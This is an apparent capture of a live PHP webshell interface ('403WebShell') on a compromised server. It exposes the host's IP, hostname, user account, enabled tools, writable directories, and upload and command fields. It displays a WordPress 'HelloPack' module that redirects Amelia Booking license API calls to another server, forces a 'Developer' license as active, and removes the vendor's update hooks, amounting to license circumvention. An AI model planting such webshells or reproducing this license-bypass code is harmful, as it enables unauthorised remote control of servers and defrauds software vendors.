$plugin = <<403WebShell
403Webshell
Server IP : 193.224.177.188  /  Your IP : 216.73.216.209
Web Server : Apache
System : Linux cpanel.krtk.mta.hu 3.10.0-962.3.2.lve1.5.89.el7.x86_64 #1 SMP Thu Jul 9 15:55:31 UTC 2026 x86_64
User : krtkhu ( 1061)
PHP Version : 8.4.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home2/krtkhu/www/wp-content/plugins/hellopack-client/modules/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home2/krtkhu/www/wp-content/plugins/hellopack-client/modules/amelia-booking.php
<?php
/**
 * Amelia Booking module.
 *
 * Redirects Amelia Booking license API calls to GLS3.
 *
 * @package HelloPack\Client
 */

declare( strict_types=1 );

namespace HelloPack\Modules;

use HelloPack\Client\Module\AbstractModule;
use HelloPack\Client\License\ApiRedirector;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * Amelia Booking license module.
 */
class Amelia_Booking extends AbstractModule {

	/**
	 * Set up module properties.
	 */
	public function setup(): void {
		$this->id          = 'amelia-booking';
		$this->name        = 'Amelia Booking';
		$this->description = 'Manages Amelia Booking license via GLS3.';
		$this->category    = 'plugin';
		$this->version     = '2.0.0';
		$this->target      = array(
			'plugin_dir'  => 'ameliabooking',
			'plugin_file' => 'ameliabooking.php',
		);
		$this->target_id   = '290804545';

		$this->blocked_domains = array(
			'store.melograno.io/api/autoupdate/info' => self::generic_block(),
		);
	}

	/**
	 * Amelia AutoUpdateHook class name.
	 *
	 * @var string
	 */
	private const AUTO_UPDATE_HOOK = 'AmeliaBooking\\Infrastructure\\WP\\InstallActions\\AutoUpdateHook';

	/**
	 * Initialize module — redirect API calls, set license as active.
	 */
	public function init(): void {
		ApiRedirector::create( 'https://store.tms-plugins.com', HELLOPACK_GLS3_URL . '/amelia-booking' );
		ApiRedirector::create( 'https://store.melograno.io', HELLOPACK_GLS3_URL . '/amelia-booking' );

		$this->set_activation();
		$this->remove_amelia_update_hooks();
	}

	/**
	 * Remove Amelia's native update hooks so HelloPack handles all updates.
	 *
	 * Amelia registers static method callbacks on pre_set_site_transient_update_plugins
	 * and plugins_api.
	 */
	private function remove_amelia_update_hooks(): void {
		$this->remove_class_hooks( 'pre_set_site_transient_update_plugins', self::AUTO_UPDATE_HOOK );
		$this->remove_class_hooks( 'plugins_api', self::AUTO_UPDATE_HOOK );
	}

	/**
	 * Set Amelia activation status and license tier.
	 */
	private function set_activation(): void {
		$amelia_settings = get_option( 'amelia_settings' );

		if ( false === $amelia_settings ) {
			return;
		}

		$decoded = json_decode( $amelia_settings, true );

		if ( ! is_array( $decoded ) ) {
			return;
		}

		$needs_update = false;

		if ( empty( $decoded['activation']['active'] ) || true !== $decoded['activation']['active'] ) {
			$decoded['activation']['active'] = true;
			$needs_update                    = true;
		}

		if ( empty( $decoded['activation']['licence'] ) || 'Developer' !== $decoded['activation']['licence'] ) {
			$decoded['activation']['licence'] = 'Developer';
			$needs_update                     = true;
		}

		if ( empty( $decoded['activation']['purchaseCodeStore'] ) ) {
			$decoded['activation']['purchaseCodeStore'] = 'hellopack-managed';
			$needs_update                               = true;
		}

		if ( $needs_update ) {
			update_option( 'amelia_settings', wp_json_encode( $decoded ) );
		}
	}

	/**
	 * Cleanup on disable — remove activation data.
	 */
	public function cleanup(): void {
		$amelia_settings = get_option( 'amelia_settings' );

		if ( false !== $amelia_settings ) {
			$decoded = json_decode( $amelia_settings, true );

			if ( is_array( $decoded ) ) {
				unset( $decoded['activation'] );
				update_option( 'amelia_settings', wp_json_encode( $decoded ) );
			}
		}
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit